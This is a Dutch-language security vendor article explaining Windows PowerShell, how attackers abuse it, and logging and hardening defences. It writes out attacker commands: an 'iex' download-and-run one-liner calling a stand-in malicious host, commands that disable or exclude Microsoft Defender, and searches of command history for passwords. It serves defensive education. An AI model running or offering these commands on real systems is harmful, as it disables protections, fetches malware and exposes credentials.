
Wat is Windows PowerShell?
Windows PowerShell is een krachtig hulpmiddel voor automatisering. Begrijp de gevolgen voor de beveiliging en hoe u het veilig gebruikt in uw omgeving.

Windows PowerShell is een krachtige scripttaal en opdrachtregelomgeving voor het automatiseren van taken en het beheren van configuraties. Deze gids behandelt de functies en mogelijkheden van PowerShell, waaronder de rol ervan bij systeembeheer en beveiliging.
Leer veelgebruikte PowerShell-opdrachten en best practices voor scripts kennen, en ontdek hoe u PowerShell inzet voor cyberbeveiliging. Kennis van PowerShell is essentieel voor IT-professionals en beveiligingsexperts.

Welke invloed kan PowerShell hebben op de waardevolle bedrijfsmiddelen van uw organisatie? Leer de basis van PowerShell kennen, waarom het aantrekkelijk is voor hackers & hoe u uw organisatie beschermt
Microsoft PowerShell is een opdrachtregelomgeving en scripttaal voor het automatiseren van taken en het beheren van Windows-systemen. Beheerders en beveiligingsprofessionals gebruiken het vaak om routinetaken te automatiseren, systemen te beheren en te bewaken, en reacties op beveiligingsincidenten te automatiseren. Aanvallers gebruiken PowerShell vaak om ongeautoriseerde toegang tot systemen te krijgen en schadelijke code uit te voeren.
Microsoft PowerShell is al sinds 2006 beschikbaar op Windows, maar is nu de opdrachtregelomgeving voor Verkenner op Windows 10 en heeft het oude hulpprogramma cmd.exe grotendeels vervangen. Hoewel gewone gebruikers het vaak als ingewikkeld beschouwen, PowerShell is door zijn flexibiliteit en kracht onmisbaar geworden voor IT-teams en netwerkbeheerders. In deze inleidende gids leggen we de basis van PowerShell uit, waarom het aantrekkelijk is voor hackers en makers van malware, en wat u kunt doen om uw organisatie te beschermen.
Kies uw variant
Als u ‘PowerShell’ in het zoekveld van Cortana typt, krijgt u een paar opties te zien: PowerShell ISE en de PowerShell Desktop-app. Als u met de rechtermuisknop op het Startmenu of op een van de taakbalkpictogrammen van PowerShell klikt, ziet u bovendien twee manieren om elke versie te starten: als de huidige gebruiker of als beheerder.

Beheerders die veelvoorkomende taken willen automatiseren, gebruiken waarschijnlijk de ISE-interface om PowerShell-modules en -scripts te ontwikkelen. Voor interactief gebruik kiezen de meesten de PowerShell Desktop-app en starten die als beheerder of als huidige gebruiker, afhankelijk van de taak.
U hoort misschien ook over PowerShell Core, een platformonafhankelijke opensourceversie die niet alleen op Windows draait, maar ook op Linux en macOS:

Let hier wel op: deze versie wordt geïnstalleerd als een niet-ondertekend binair bestand en kan eenvoudig door een schadelijke vervanger worden vervangen. Als u endpoints met PowerShell Core gebruikt, zorg er dan voor dat uw organisatie het bestand ondertekent met een geschikt certificaat of regelmatig shasum-controles uitvoert om te controleren of er niet mee is geknoeid.
Hoewel de mogelijkheden van de verschillende PowerShell-varianten enigszins verschillen, kunnen ze allemaal externe sessies via SSH uitvoeren en met uiteenlopende processen en services communiceren. PowerShell kan zelfs communiceren met het Windows-register en het gebeurtenislogboek. Dit betekent dat een aanvaller met toegang tot PowerShell over dezelfde toegang en mogelijkheden beschikt.
Ontdek de kracht
Met twee eenvoudige opdrachten krijgt u een idee van de mogelijkheden van PowerShell:
Get-Module -ListAvailable
om de beschikbare modules weer te geven, en
Get-Command
om de beschikbare opdrachten weer te geven:

Laten we kort enkele voorbeelden bekijken. Stel dat u (of een aanvaller) door een map met documenten navigeert en snel wilt zien of daar iets interessants tussen zit. Een opdracht zoals de volgende toont de eerste en laatste twee regels van elk tekstbestand in de map, doorzoekt ook onderliggende mappen en neemt verborgen bestanden mee. De uitvoer wordt naar een ander tekstbestand geschreven om later te bekijken of op te halen:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Als iemand zoekt naar documenten die beginnen met “Vertrouwelijk” of eindigen met de functie van de auteur, zoals “Financieel directeur”, is dit een snelle, eenvoudige manier om interessante bestanden te vinden.
Een item verwijderen, bijvoorbeeld om sporen van een inbraak uit te wissen, kan eenvoudig met
Remove-Item <path>
Met PowerShell kunnen gebruikers het besturingssysteem ook op interessante en helaas gevaarlijke manieren aanpassen. Als een maker van malware de vooraf geïnstalleerde Microsoft Defender-antivirusengine wil omzeilen, kan een PowerShell-opdracht met de juiste rechten deze uitschakelen:
Set-MpPreference -DisableRealTimeMonitoring $true
of, iets minder opvallend, een schijf of pad uitsluiten van de scan:
Add-MpPreference -ExclusionPath “c:”
PowerShell maakt het aanvallers ook eenvoudig om bijvoorbeeld uw netwerkstations op te sommen en het gebeurtenislogboek te raadplegen. Met respectievelijk Get-PSDrive en Get-EventLog kunnen ze zo informatie vinden die ze kunnen misbruiken.

Zowel gebruikers als kwaadwillenden kunnen de geschiedenis lezen van opdrachten die interactief via de opdrachtregel zijn ingevoerd, inclusief de meegegeven argumenten. De geschiedenis wordt opgeslagen op het pad dat deze opdracht toont:
(Get-PSReadLineOption).HistorySavePath
en met cat en de cmdlet Select-String (of de alias sls) kunnen we de opdrachten doorzoeken op interessante gegevens (zoals wachtwoorden!):

Scripts & exploitkits
Maar de grootste kansen voor kwaadwillenden liggen niet bij het gebruik van PowerShell via de opdrachtregel. Gevaarlijker is dat PowerShell scripts zowel in het geheugen (oftewel “bestandsloze” malwareaanvallen) als vanaf schijf kan uitvoeren. Dat kan rechtstreeks op een host of op afstand.
Net als de Unix-shellopdracht eval heeft PowerShell Invoke-Expression (en de alias iex), waarmee een schadelijk script in het geheugen kan worden gedownload en uitgevoerd. Met Bypass kunnen we proberen een beperkend uitvoeringsbeleid te omzeilen:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Het is dan ook geen verrassing dat er al snel complete exploitframeworks verschenen die de mogelijkheden van PowerShell volledig benutten.
De eerste hiervan is PowerSploit, een verzameling PowerShell-scripts waarmee aanvallers de computer van een slachtoffer kunnen manipuleren en besturen.

PowerShell Empire bouwt voort op PowerSploit en verschillende andere projecten. Het resultaat is een tool voor activiteiten na een succesvolle aanval die netwerkdetectie kan ontwijken, toetsaanslagen kan registreren en andere modules kan uitvoeren, zoals Mimikatz, om wachtwoorden in leesbare tekst, wachtwoordhashes en andere gegevens rechtstreeks uit het geheugen te halen.

De opkomst van PowerShell-aanvallen
Een reden voor de toename van PowerShell-malware in de afgelopen jaren is de ontwikkeling van PowerShell-scripts en -opdrachten die vanuit verschillende soorten Windows bestanden kunnen worden uitgevoerd, waaronder .exe, .bat, .wsf en .LNK. Volgens een schatting zijn PowerShell-exploits verantwoordelijk voor bijna 40% van de malware-incidenten. Aanvallers gebruiken ze dus duidelijk in uiteenlopende campagnes, van ransomware tot diefstal van inloggegevens en banktrojans. PowerShell speelt ook een rol bij klikfraude, het onderscheppen van wachtwoorden en gegevensexfiltratie.
DNSMessenger is malware die zich via een macro in een Word-document verspreidde. De malware gebruikt VBA-broncode om gecodeerde PowerShell-opdrachten af te leveren, zich te handhaven, de payload af te leveren en met een C&C-server te communiceren.
Opvallend genoeg hebben sommige PowerShell-aanvallen zelfs de ingebouwde PowerShell.exe niet nodig. Tools zoals PowerShdll en InsecurePowerShell kunnen scripts rechtstreeks uitvoeren via System.Management.Automation.dll, waarop het binaire PowerShell-bestand is gebaseerd. Kortom, het uitvoerbare PowerShell-bestand is slechts een host of schil voor de daadwerkelijke code in de dynamic-link library. Aanvallers kunnen dit benutten om vrijwel elk proces PowerShell-scripts en -opdrachten te laten uitvoeren.
Een ander creatief gebruik van PowerShell is een PowerShell-script in de pixels van een PNG-bestand verbergen en met Invoke-PSImage een opdracht van één regel genereren om het uit te voeren, of PowerShell-scripts met tools zoals PS2EXE omzetten naar EXE-bestanden.
PowerShell beheren
Dit maakt duidelijk dat het blokkeren van PowerShell.exe zinloos zou zijn. Bovendien zou het systeembeheerders zwaar belasten: zij vertrouwen op de mogelijkheden van PowerShell. PowerShell en de onderliggende DLL's zijn integrale onderdelen van het Windows-besturingssysteem. Met de komst van PowerShell Core strekt die kracht zich ook uit tot platformoverschrijdend beheer, dat voor bedrijven onmisbaar kan zijn.
Een effectieve oplossing voor organisaties die met de twee kanten van PowerShell te maken hebben, is SentinelOne. Het kijkt naar het gedrag van processen die op het endpoint worden uitgevoerd. Dit werkt omdat die processen zich op vergelijkbare wijze gedragen, ongeacht hoe malwareaanvallen worden uitgevoerd. De SentinelOne-agent bewaakt alle activiteiten op de agent om onderscheid te maken tussen kwaadaardige en goedaardige activiteiten. De agent beschikt al over de volledige context: gebruikers, processen, opdrachtregelargumenten, het register, bestanden op de schijf en externe communicatie. Daardoor kan kwaadaardige activiteit worden gestopt, ongeacht de bron.
Vond je dit artikel interessant? Volg ons op LinkedIn, Twitter, YouTube of Facebook om onze berichten te zien.
Lees meer over Windows-beveiliging
- Hancitor Banking Trojan is terug | Verspreiding via kwaadaardige Word-bijlage
- SentinelOne detecteert en blokkeert nieuwe variant van Powershell CryptoWorm
- Nieuw bestandstype in Windows 10 kan worden misbruikt om kwaadaardige applicaties uit te voeren

AI-gestuurde cyberbeveiliging
Verhoog uw beveiliging met realtime detectie, reactiesnelheid en volledig overzicht van uw gehele digitale omgeving.
Veelgestelde vragen over Windows PowerShell
Windows PowerShell is een opdrachtregelshell en scripttaal van Microsoft, gebouwd op het .NET Framework. Met cmdlets—eenvoudige opdrachten in de vorm werkwoord-zelfstandig naamwoord—automatiseert u taken zoals het beheren van het bestandssysteem, het register en services.
PowerShell verwerkt en retourneert objecten in plaats van platte tekst. Zo geeft u gestructureerde gegevens door van de ene cmdlet naar de andere. Het ondersteunt ook beheer op afstand, modules en hulp binnen de console voor systeembeheer.
Anders dan het oude CMD gebruikt PowerShell cmdlets met een werkwoord-zelfstandig naamwoordstructuur en werkt het met .NET-objecten in plaats van tekststromen. Daardoor kunt u opdrachten via pipelines aaneenschakelen zonder tekst te parseren. PowerShell-scripts kunnen .NET-API's rechtstreeks aanroepen, bieden uitgebreidere foutafhandeling en ondersteunen modules.
Traditionele shells verwerken alleen platte tekst en eenvoudige batchscripts. PowerShell biedt daarentegen een volledige scriptomgeving voor automatisering en configuratie.
Door de diepe systeemintegratie en krachtige scriptmogelijkheden is PowerShell populair bij zowel beheerders als aanvallers. Dreigingsactoren gebruiken bestandsloze technieken—waarbij scripts in het geheugen draaien—om detectie te ontwijken.
PowerShell kan beveiligingsmaatregelen uitschakelen, schadelijke code downloaden of inloggegevens stelen zonder bestanden naar de schijf te schrijven. Omdat PowerShell overal in Windows aanwezig is, moeten verdedigers PowerShell-activiteit als risicovol beschouwen en nauwlettend op misbruik controleren.
Volgens een onderzoek van Cisco was PowerShell betrokken bij meer dan een derde van de kritieke beveiligingsdreigingen op endpoints. Carbon Black meldde misbruik van PowerShell bij 38 procent van de incidenten, vaak bij acties na een geslaagde exploit, zoals laterale verplaatsing of diefstal van inloggegevens.
Hoewel normaal gebruik beperkt is, komt PowerShell voor bij ongeveer één op de veertien bevestigde gevallen van schadelijke activiteit.
Schakel alle PowerShell-logregistratie in: modulelogregistratie, scriptbloklogregistratie en transcriptie. Stel de loggrootte in op minimaal 150 MB en verzamel gebeurtenissen uit
Microsoft-Windows-PowerShell/Operational en PowerShellCore/Operational. Voer logbestanden in SIEM of XDR in. Blokkeer scripts die worden gestart door niet-vertrouwde bovenliggende processen en beperk de uitvoer tot ondertekende scripts. Schakel Protected Event Logging in voor extra details.
Gebruik Just Enough Administration (JEA) om gebruikerstoegang te beperken tot goedgekeurde cmdlets. Dwing de beperkte taalmodus af om COM, WMI en complexe expressies uit te schakelen. Implementeer Application Control-beleid (bijv. WDAC) om alleen ondertekende scripts toe te staan.
Houd PowerShell bijgewerkt naar v5.1 of hoger. Controleer en verfijn de instellingen voor logregistratie regelmatig, zodat elke scriptuitvoering wordt vastgelegd.
PowerShell volledig blokkeren kan systeembeheer en beheer op afstand verstoren. Microsoft raadt aan PowerShell niet volledig te verwijderen. Beperk de uitvoering in plaats daarvan tot bevoegde beheerders, dwing applicatiebeheer af en voorkom dat niet-vertrouwde bovenliggende processen, zoals Office-apps, PowerShell starten.
Samen met logregistratie en monitoring stoppen deze maatregelen het meeste misbruik zonder legitieme werkzaamheden te belemmeren.
Met PowerShell automatiseren verdedigers incidentrespons, verzamelen ze snel forensische gegevens en jagen ze op dreigingen. U kunt scripts schrijven die binnen enkele minuten registersporen, proceslijsten en netwerkverbindingen verzamelen. Kennis van PowerShell geeft ook inzicht in aanvalstechnieken, omdat veel tools voor gebruik na een geslaagde exploit (Empire, Cobalt Strike) PowerShell op de achtergrond gebruiken.
PowerShell-scripts kunnen gegevens uit het actieve geheugen, registersleutels voor automatisch starten, gebeurtenislogboeken en netwerkgegevens verzamelen voor triage. Communitytools zoals DFIR-Script automatiseren het verzamelen van bewijsmateriaal op endpoints. Dreigingsjagers gebruiken PowerShell om Windows Event ID 4104 te doorzoeken op schadelijke scriptblokken, uitvoer te parseren en resultaten aan SOAR-playbooks door te geven. Daarmee is PowerShell een kernonderdeel van workflows voor detectie, indamming en herstel.




